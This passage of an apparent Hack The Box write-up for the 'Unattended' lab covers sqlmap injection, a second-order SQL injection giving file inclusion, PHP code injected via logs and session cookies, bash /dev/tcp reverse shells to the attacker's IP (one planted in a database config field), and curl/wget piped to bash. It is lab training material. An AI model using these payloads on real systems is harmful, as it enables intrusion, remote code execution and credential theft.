appropriate flag: + +![](prg/41_004.png) + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --current-db + ___ + __H__ + ___ ___[(]_____ ___ ___ {1.4.3#stable} + |_ -| . [.] | .'| . | + |___|_ [)]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 21:00:41 /2020-04-19/ + + [21:00:42] [INFO] resuming back-end DBMS 'mysql' + [21:00:42] [INFO] testing connection to the target URL + you have not declared cookie(s), while server wants to set its own ('PHPSESSID=cbr1emf27pb...otrihaacu7'). Do you want to use those [Y/n] y + sqlmap resumed the following injection point(s) from stored session: + --- + Parameter: id (GET) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa + + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: id=587' AND (SELECT 1303 FROM (SELECT(SLEEP(5)))AQHN) AND 'Wunt'='Wunt + --- + [21:00:44] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [21:00:44] [INFO] fetching current database + [21:00:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval + [21:00:44] [INFO] retrieved: neddy + current database: 'neddy' + [21:00:55] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' + + [*] ending @ 21:00:55 /2020-04-19/ + + +Now that we know that there is a database named "neddy" we can enumerate it's tables: + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --tables -D neddy + + + +Which is atrociously slow so we use additional threads to speed it up : + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 --tables -D neddy --threads 10 + ___ + __H__ + ___ ___[(]_____ ___ ___ {1.4.3#stable} + |_ -| . [(] | .'| . | + |___|_ [.]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 21:02:26 /2020-04-19/ + + [...] + + 21:03:29] [INFO] retrieved: orders + [21:03:29] [INFO] retrieving the length of query output + [21:03:29] [INFO] retrieved: 8 + [21:03:37] [INFO] retrieved: payments + [21:03:37] [INFO] retrieving the length of query output + [21:03:37] [INFO] retrieved: 12 + [21:03:50] [INFO] retrieved: productlines + [21:03:50] [INFO] retrieving the length of query output + [21:03:50] [INFO] retrieved: 8 + [21:03:58] [INFO] retrieved: products + Database: neddy + [11 tables] + +--------------+ + | config | + | customers | + | employees | + | filepath | + | idname | + | offices | + | orderdetails | + | orders | + | payments | + | productlines | + | products | + +--------------+ + + [21:03:58] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' + + [*] ending @ 21:03:58 /2020-04-19/ + + + +So here we have 11 tables, some of which contain an absurd number of rows which take forever to dump everything. Increasing the threads to run this command is vital. So the idea here is to focus on the config , filepath and idname tables which contains most of the elements we need to continue: + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → sqlmap -u https://www.nestedflanders.htb/index.php\?id\=587 -T config,filepath,idname -D neddy --technique B --dump --threads 10 + ___ + __H__ + ___ ___[)]_____ ___ ___ {1.4.3#stable} + |_ -| . ['] | .'| . | + |___|_ [)]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 21:06:33 /2020-04-19/ + + [21:06:33] [INFO] resuming back-end DBMS 'mysql' + [21:06:33] [INFO] testing connection to the target URL + you have not declared cookie(s), while server wants to set its own ('PHPSESSID=o24egt1sggh...9696egals7'). Do you want to use those [Y/n] y + sqlmap resumed the following injection point(s) from stored session: + --- + Parameter: id (GET) + Type: boolean-based blind + Title: AND boolean-based blind - WHERE or HAVING clause + Payload: id=587' AND 6741=6741 AND 'uqwa'='uqwa + --- + [21:06:34] [INFO] the back-end DBMS is MySQL + back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) + [21:06:34] [INFO] fetching columns for table 'config' in database 'neddy' + + [...] + + Database: neddy + Table: config + [52 entries] + +------+-------------------------+--------------------------------------------------------------------------+ + | id | option_name | option_value | + +------+-------------------------+--------------------------------------------------------------------------+ + | 54 | offline | 0 | + | 55 | offline_message | Site offline, please come back later | + | 56 | display_offline_message | 0 | + | 57 | offline_image | | + | 58 | sitename | NestedFlanders | + | 59 | editor | tinymce | + | 60 | captcha | 0 | + | 61 | list_limit | 20 | + | 62 | access | 1 | + | 63 | debug | 0 | + | 64 | debug_lang | 0 | + | 65 | dbtype | mysqli | + | 66 | host | localhost | + | 67 | live_site | | + | 68 | gzip | 0 | + | 69 | error_reporting | default | + | 70 | ftp_host | 127.0.0.1 | + | 71 | ftp_port | 21 | + | 72 | ftp_user | flanders | + | 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 | + | 74 | ftp_root | / | + | 75 | ftp_enable | 1 | + | 76 | offset | UTC | + | 77 | mailonline | 1 | + | 78 | mailer | mail | + | 79 | mailfrom | nested@nestedflanders.htb | + | 80 | fromname | Neddy | + | 81 | sendmail | /usr/sbin/sendmail | + | 82 | smtpauth | 0 | + | 83 | smtpuser | | + | 84 | smtppass | | + | 85 | smtppass | | + | 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; | + | 87 | smtphost | localhost | + | 88 | smtpsecure | none | + | 89 | smtpport | 25 | + | 90 | caching | 0 | + | 91 | cache_handler | file | + | 92 | cachetime | 15 | + | 93 | MetaDesc | | + | 94 | MetaKeys | | + | 95 | MetaTitle | 1 | + | 96 | MetaAuthor | 1 | + | 97 | MetaVersion | 0 | + | 98 | robots | | + | 99 | sef | 1 | + | 100 | sef_rewrite | 0 | + | 101 | sef_suffix | 0 | + | 102 | unicodeslugs | 0 | + | 103 | feed_limit | 10 | + | 104 | lifetime | 1 | + | 105 | session_handler | file | + +------+-------------------------+--------------------------------------------------------------------------+ + + Database: neddy + Table: filepath + [3 entries] + +---------+--------------------------------------+ + | name | path | + +---------+--------------------------------------+ + | about | 47c1ba4f7b1edf28ea0e2bb250717093.php | + | contact | 0f710bba8d16303a415266af8bb52fcb.php | + | main | 787c75233b93aa5e45c3f85d130bfbe7.php | + +---------+--------------------------------------+ + + Database: neddy + Table: idname + [6 entries] + +------+-------------+----------+ + | id | name | disabled | + +------+-------------+----------+ + | 1 | main.php | 1 | + | 2 | about.php | 1 | + | 3 | contact.php | 1 | + | 25 | main | 0 | + | 465 | about | 0 | + | 587 | contact | 0 | + +------+-------------+----------+ + + [21:29:53] [INFO] table 'neddy.idname' dumped to CSV file '/home/nothing/.sqlmap/output/www.nestedflanders.htb/dump/neddy/idname.csv' + [21:29:53] [INFO] fetched data logged to text files under '/home/nothing/.sqlmap/output/www.nestedflanders.htb' + + [*] ending @ 21:29:53 /2020-04-19/ + + +As you can see it took more than 20 minutes. Sometimes you need a bit of patience, So in the "config" table we found potential ftp credentials, we also found "checkrelease" which hints us towards a perl script in /home/guly. Obviously we now know the username guly on this box. The table "idname" contains the mapping between ID and the GET request. The table "filepath" doesn't seem to contain anything interesting. + +At this point i got stuck and decided to go for [snowscan's]() solution which consists in making a python script in order to perform an injection on the ID name mapping SQL query, to then try to do the same on the filename mapping SQL query. Which results in achieving a [Second order SQL Injection.](https://haiderm.com/second-order-sql-injection-explained-with-example/) The goal of which is to end up creating a Local File Inclusion (LFI) + +I have adapted snowscan's code to work under python3, working with beautifulsoup4, along with the appropriate print() statements. + + + import readline + import requests + from bs4 import BeautifulSoup + + proxies = { "http":"http://127.0.0.1:8080", "https:":"https://127.0.0.1:8080" } + + while True: + cmd=input("> ") + payload=cmd + payload=payload+"-- -" + print(payload) + r=requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) + soup= BeautifulSoup(r.text, 'html.parser') + print(soup.body) + + + +The first thing is to check if we can display the contact page by returning contact instead of main against the "idname" table. + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → python3 snowscan_rocks.py + > 25' union select all 'contact' + 25' union select all 'contact'-- - + /usr/lib/python3/dist-packages/urllib3/connectionpool.py:999: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nestedflanders.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings + warnings.warn( + <****body> <****div class="container"> <****h1>Ne(ste)d Flanders' Portfolio <****/h1> <****/div> <****div class="container"> <****div center="" class="row"> <****div class="col-md-2"> <****a href="index.php?id=25" target="maifreim">main <****/a> <****/div> <****div class="col-md-2"> <****a href="index.php?id=465" target="maifreim">about <****/a> <****/div> <****div class="col-md-2"> <****a href="index.php?id=587" target="maifreim">contact <****/a> <****/div> <****/div> + <****/div> + <****div class="container"> <****div class="row"> + <****body class="container"> + Hello visitor, + + + thanks for getting in touch with us! + + Unfortunately our server is under *heavy* attack and we disable almost every dynamic page. + + Please come back later. + <****/body> + <****/div> + <****/div> + <****/body> + > + +So we have been successful in returning the contact page. The second step is to SQL Inject the name field returned instead of the actual name value in order to use the same UNION SELECT injection to return a filename that we choose, hence the intended LFI: + + + import readline + import requests + from bs4 import BeautifulSoup + + proxies = { "http":"http://127.0.0.1:8080", "https:":"https://127.0.0.1:8080" } + + while True: + file = input("> ") + payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file) + r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) + soup = BeautifulSoup(r.text, 'html.parser') + print(soup.body) + + + + [ 10.10.14.69/23 ] [ /dev/pts/3 ] [~/_HTB/Unattended] + → python3 snowscan_rocks_chapter_2.py + > /etc/passwd + /usr/lib/python3/dist-packages/urllib3/connectionpool.py:999: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nestedflanders.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings + warnings.warn( + + + + + + + # Ne(ste)d Flanders' Portfolio + + + + + + + + + + + + + + [main](index.php?id=25) + + [about](index.php?id=465) + + [contact](index.php?id=587) + + + + + + + + + + + + + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/bin/bash + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + _apt:x:104:65534::/nonexistent:/bin/false + messagebus:x:105:109::/var/run/dbus:/bin/false + sshd:x:106:65534::/run/sshd:/usr/sbin/nologin + guly:x:1000:1000:guly,,,:/home/guly:/bin/bash + mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false + + + + + + + + + + +And the LFI was successful! we now know which users are on the box. The next step consists in getting Remote Code Execution (RCE) on the box. The hint here was to check the nginx access.log : + + + + [...] + + 10.10.14.69 - - [19/Apr/2020:16:44:33 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0" + 10.10.14.69 - - [19/Apr/2020:16:45:14 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0" + 10.10.14.69 - - [19/Apr/2020:16:46:37 -0400] "GET /index.php?id=25'%20union%20select%20all%20'contact'--%20- HTTP/1.1" 200 521 "-" "python-requests/2.23.0" + 10.10.14.69 - - [19/Apr/2020:17:06:50 -0400] "GET /index.php?id=25'%20union%20select%20all%20%22invalid'%20union%20select%20all%20'/etc/passwd%22%20--%20- HTTP/1.1" 200 925 "-" "python-requests/2.23.0" + + +Here we see that the User-Agent header is vulnerable, which potentially allows us to inject php code in the access logs, triggering it by making a request to the log file by using the LFI from the sql injection. So accordingly we modify the python script: + + + #!/usr/bin/python + + from bs4 import BeautifulSoup + import re + import readline + import requests + + import urllib3 + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } + + while True: + cmd = input("> ") + headers = { "User-Agent": " /var/log/nginx/access.log; %s'); ?>**END**" % cmd} + r = requests.get("http://10.10.10.126/", headers=headers) + file = "/var/log/nginx/access.log" + payload = "25' union select all \"%s\" -- -" % ("invalid' union select all '" + file) + r = requests.get("https://www.nestedflanders.htb/index.php?id=%s" % payload, proxies=proxies, verify=False) + soup = BeautifulSoup(r.text, 'html.parser') + m = re.search("\*\*BEGIN\*\*(.*)\*\*END\*\*", str(soup.body), flags=re.DOTALL) + if m: + print(m.group(1)) + else: + print("No output") + + +Running it with the "id" cmd we get RCE as www-data. Another way of tackling this problem as [Alamot](https://alamot.github.io/unattended_writeup) demonstrated, is to explore the initial SQL injection manually using 'ORDER BY' + + + https://www.nestedflanders.htb/index.php?id=587' ORDER BY 1 --+ + https://www.nestedflanders.htb/index.php?id=587' ORDER BY 2 --+ + + + +` ![](prg/41_005.png) + +These 2 queries bring up 2 different results, one is the default index page, the other is an error. So the next step would be to try to return a name like "contact" using an inner query: + +![](prg/41_006.png) + +Which returned us the "about" page instead of the "contact" page. The outer query should return the path of the php file to be loaded, So by trying the same trick, we have to nest our 2nd SQL Injection : + + + about' UNION SELECT '/etc/passwd' --+ + + + +Like this: + + + https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/etc/passwd' --+" --+ + + + +Which becomes a 2nd order SQL Injection, Which should also become a Local File Inclusion. + +![](prg/41_007.png) + +And the LFI was successful! Now the thing is, if we try to **Include** the php files they will invariably be run and executed, we won't be able to read their source code. So the trick here is, to use a filter conversion to b64encode these php files. That way we are able to read their contents, saving us alot of time. + + + 'php://filter/read=convert.base64-encode/resource=/path/to/file/we/want/to/read/sourcecode' + + + +So we use this b64encoding filter in our next request: + + + https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/index.php' --+" -- + + + +` ![](prg/41_008.png) + + + <****?php + $servername = "localhost"; + $username = "nestedflanders"; + $password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e"; + $db = "neddy"; + $conn = new mysqli($servername, $username, $password, $db); + $debug = False; + + include "6fb17817efb4131ae4ae1acae0f7fd48.php"; + + function getTplFromID($conn) { + global $debug; + $valid_ids = array (25,465,587); + if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) { + $sql = "SELECT name FROM idname where id = '".$_GET['id']."'"; + } else { + $sql = "SELECT name FROM idname where id = '25'"; + } + if ($debug) { echo "sqltpl: $sql + \n"; } + + $result = $conn->query($sql); + if ($result->num_rows > 0) { + while($row = $result->fetch_assoc()) { + $ret = $row['name']; + } + } else { + $ret = 'main'; + } + if ($debug) { echo "rettpl: $ret + \n"; } + return $ret; + } + + function getPathFromTpl($conn,$tpl) { + global $debug; + $sql = "SELECT path from filepath where name = '".$tpl."'"; + if ($debug) { echo "sqlpath: $sql + \n"; } + $result = $conn->query($sql); + if ($result->num_rows > 0) { + while($row = $result->fetch_assoc()) { + $ret = $row['path']; + } + } + if ($debug) { echo "retpath: $ret + \n"; } + return $ret; + } + + $tpl = getTplFromID($conn); + $inc = getPathFromTpl($conn,$tpl); + ?****> + + + + + + + + + + # Ne(ste)d Flanders Portfolio + + + + + + + + + + + + + <****?php + + $sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = '0' order by i.id"; + if ($debug) { echo "sql: $sql + \n"; } + + $result = $conn->query($sql); + if ($result->num_rows > 0) { + while($row = $result->fetch_assoc()) { + //if ($debug) { echo "rowid: ".$row['id']." + \n"; } // breaks layout + echo ' + + ['.$row['name'].'](index.php?id='.$row\['id'\].') + + '; + } + } else { + ?****> + + [main](index.php?id=25) + + + + + [about](index.php?id=465) + + + + + [contact](index.php?id=587) + + + <****?php + } + + ?****> + + + + + + + + + + + + + + + <****?php + include("$inc"); + ?****> + + + + + + + + <****?php if ($debug) { echo "include $inc; + \n"; } ?****> + + + <****?php + $conn->close(); + ?****> + +Another way of finding this is by exploiting the nginx misconfiguration present on the box as [ ippsec](https://www.youtube.com/watch?v=2SATzCQY0Zw) points out, you can verify it by going to /dev/ and the misconfiguration is that in the nginx config the trailing slash hasn't been added. Therefore going to /dev../html/index.php gets us to the php page we found earlier, but without interpreting the sourcecode, allowing us to read it: + +![](prg/41_011.png) + + + [ 10.10.14.7/23 ] [ /dev/pts/5 ] [~/_HTB/Unattended] + → curl -sk https://www.nestedflanders.htb/dev../html/index.php > index.php + + +So from here we have a few interesting things, most importantly the credentials to the database: nestedflanders:1036913cf7d38d4ea4f79b050f171e9fbf3f5e . Now in order to reach the RCE from our current LFI we need to remember the 6fb17817efb4131ae4ae1acae0f7fd48.php file our sqlmap scan found earlier which has also been referenced into the index.php sourcecode, so it is definitely a hint for the next step: + + + https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+" --+ + + + +` ![](prg/41_009.png) + + + <****?php + session_start(); + if (isset($_SESSION['user_name'])){ + $user_name = $_SESSION['user_name']; + } + + foreach ($_COOKIE as $key => $val) { + $_SESSION[$key] = $val; + } + + /* removed everything because of undergoing investigation, please check dev and staging */ + +Which is obviously also viewable if we use previous method suggested by ippsec, that we could actually get the file thanks to the nginx misconfiguration: + +![](prg/41_012.png) + +And this is where it gets interesting, this code says that every cookie name+value pair is saved inside the PHP session. PHP sessions are stored in temporary files inside a specific folder. This folder is set using session.save_path in the php.ini file "/var/lib/php/sessions". From here we could read the php.ini file to know this location or try out well known paths of php session storage, which in this case was **/var/lib/php/sessions**. + +Therefore, we can set a cookie with a specific value: + + + <****?php passthru($_REQUEST['cmd'])?****> + +And this will be stored inside a file at /var/lib/php/sessions/sess_PHPSESSID. And then we just need to include and/or run this file with the second order SQL injection LFI: + + + https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/var/lib/php/sessions/sess_d0rosoogt4afnin1qtic4ju612' --+" --+&cmd;=whoami + + + +Obviously we need to change the cookie after sess_ to the current cookie, in this case: + +![](prg/41_013.png) ![](prg/41_014.png) + +So with this request, we get the following result: + + + GET /index.php?prometheus=whoami&id;=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1 + Host: www.nestedflanders.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + DNT: 1 + Connection: close + Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING= + Upgrade-Insecure-Requests: 1 + + +` ![](prg/41_015.png) + +Which basically tells us that we have been able to inject php code. So since we have code execution we'll get a reverse shell, but on which port, that is a big question mark because this box actually has iptables enabled to prevent any funky traffic on uncommon ports, we can check that by printing out the contents of /etc/iptables/rules.v4: + + + GET /index.php?prometheus=cat+/etc/iptables/rules.v4&id;=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1 + Host: www.nestedflanders.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + DNT: 1 + Connection: close + Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING= + Upgrade-Insecure-Requests: 1 + + +` ![](prg/41_016.png) + +So we see that we can communicate with the box only through port 80 and 443. So our reverse shell one liner will be to our local port 443: + + + bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1' + + + +Url encode it in burpsuite: + + + bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261' + + + +Get the following request: + + + GET /index.php?prometheus=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.7/443+0>%261'&id;=587'+union+select+"1'+union+select+'/var/lib/php/sessions/sess_skthtqmi4agio2nrpl9u7vql43'--+-"--+- HTTP/1.1 + Host: www.nestedflanders.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + DNT: 1 + Connection: close + Cookie: PHPSESSID=skthtqmi4agio2nrpl9u7vql43; NOTHING= + Upgrade-Insecure-Requests: 1 + + + +And catch the incoming reverse shell connection: + +![](prg/41_017.png) + + + + [ 10.10.14.7/23 ] [ /dev/pts/6 ] [~] + → sudo nc -lvnp 443 + [sudo] password for nothing: + listening on [any] 443 ... + connect to [10.10.14.7] from (UNKNOWN) [10.10.10.126] 58662 + bash: cannot set terminal process group (579): Inappropriate ioctl for device + bash: no job control in this shell + www-data@unattended:/var/www/html$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + www-data@unattended:/var/www/html$ ls + ls + 0f710bba8d16303a415266af8bb52fcb.php + 47c1ba4f7b1edf28ea0e2bb250717093.php + 6fb17817efb4131ae4ae1acae0f7fd48.php + 787c75233b93aa5e45c3f85d130bfbe7.gif + 787c75233b93aa5e45c3f85d130bfbe7.php + bootstrap.min.css + bootstrap.min.js + index.html + index.nginx-debian.html + index.php + jquery.min.js + www-data@unattended:/var/www/html$ which python && which python3 + which python && which python3 + + +So here we want to spawn our tty shell using python, but python isn't there for us, so we'll spawn it with the script utility: + + + www-data@unattended:/var/www/html$ script -h + script -h + + Usage: + script [options] [file] + + Make a typescript of a terminal session. + + Options: + -a, --append append the output + -c, --command <****command> run command rather than interactive shell + -e, --return return exit code of the child process + -f, --flush run flush after each write + --force use output file even when it is a link + -q, --quiet be quiet + -t, --timing[= <****file>] output timing data to stderr (or to FILE) + -V, --version output version information and exit + -h, --help display this help and exit + + + For more details see script(1). + www-data@unattended:/var/www/html$ script -qc /bin/bash /dev/null + script -qc /bin/bash /dev/null + +So first step here is to enumerate which users are on the box: + + + + www-data@unattended:/var/www/html$ cat /etc/passwd + cat /etc/passwd + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/bin/bash + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + _apt:x:104:65534::/nonexistent:/bin/false + messagebus:x:105:109::/var/run/dbus:/bin/false + sshd:x:106:65534::/run/sshd:/usr/sbin/nologin + guly:x:1000:1000:guly,,,:/home/guly:/bin/bash + mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false + + +As we saw earlier, guly is a good candidate, so we could try to privesc to user guly since we probably have his password. But unfortunately it is not, so moving on, + + + $servername = "localhost"; + $username = "nestedflanders"; + $password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e"; + + +So this is the mysql credentials we found earlier, since sqlmap had a hard time enumerating all the database contents, and we didn't even see the other tables, we can poke around it from inside the box this time. + + + www-data@unattended:/var/www/html$ mysql -u nestedflanders -D neddy -p + mysql -u nestedflanders -D neddy -p + Enter password: 1036913cf7d38d4ea4f79b050f171e9fbf3f5e + + Reading table information for completion of table and column names + You can turn off this feature to get a quicker startup with -A + + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 61 + Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6 + + Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + MariaDB [neddy]>> show tables; + show tables; + +-----------------+ + | Tables_in_neddy | + +-----------------+ + | config | + | customers | + | employees | + | filepath | + | idname | + | offices | + | orderdetails | + | orders | + | payments | + | productlines | + | products | + +-----------------+ + 11 rows in set (0.00 sec) + + + +And we are logged in as the user nestedflanders! now we'll print the tables, and the hint here is to get into the config table, and update the option_value to another reverse shell: + + + update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86'; + + +Since 80 is the only second port opened, we have to use it: + + + + MariaDB [neddy]> update config set option_value = "bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1'" where id = '86'; + <****sh -c 'bash -i > & /dev/tcp/10.10.14.7/80 0>&1'" where id = '86'; + Query OK, 1 row affected (0.00 sec) + Rows matched: 1 Changed: 1 Warnings: 0 + + MariaDB [neddy]> select * from config where id = '86' + select * from config where id = '86' + -> ; + ; + +----+--------------+--------------------------------------------------+ + | id | option_name | option_value | + +----+--------------+--------------------------------------------------+ + | 86 | checkrelease | bash -c 'bash -i >& /dev/tcp/10.10.14.7/80 0>&1' | + +----+--------------+--------------------------------------------------+ + 1 row in set (0.00 sec) + + + +Here we wait a bit, and get a reverse shell once again this time as the user guly, and we cat out the user flag: + + + [ 10.10.14.7/23 ] [ /dev/pts/5 ] [~] + → sudo nc -lvnp 80 + [sudo] password for nothing: + listening on [any] 80 ... + connect to [10.10.14.7] from (UNKNOWN) [10.10.10.126] 47268 + bash: cannot set terminal process group (1658): Inappropriate ioctl for device + bash: no job control in this shell + guly@unattended:~$ id + id + uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev) + guly@unattended:~$ cat user.txt + cat user.txt + 9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We got a second reverse shell and now have the user flag. + +## **Part 3 : Getting Root Access** + +In order to privesc from the user guly to root, we can enumerate the box using LinEnum.sh: + +_local machine:_ + + + $cp /path/to/linEnum.sh . + $python -m SimpleHTTPServer 8080 + + +` _remote machine:_ + + + curl http://10.10.14.16:8081/LinEnum.sh | bash + wget http://10.10.14.16:8081/LinEnum.sh -O - | bash + cat < /dev/tcp/10.10.14.3/8080 | bash + + + + guly@unattended:~$ which wget && which curl + which wget && which curl + /usr/bin/wget + + +Since curl isn't there, we use the wget line. Looking at the results, we don't even get anything interesting sadly, apart from us being part of the grub group as we saw initially when we got our second reverse shell. so we look over at the output of the mount cmd: + + + + guly@unattended:~$ mount + mount + sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) + proc on /proc type proc (rw,relatime,hidepid=2) + udev on /dev type devtmpfs (rw,nosuid,relatime,size=1014344k,nr_inodes=253586,mode=755) + devpts on 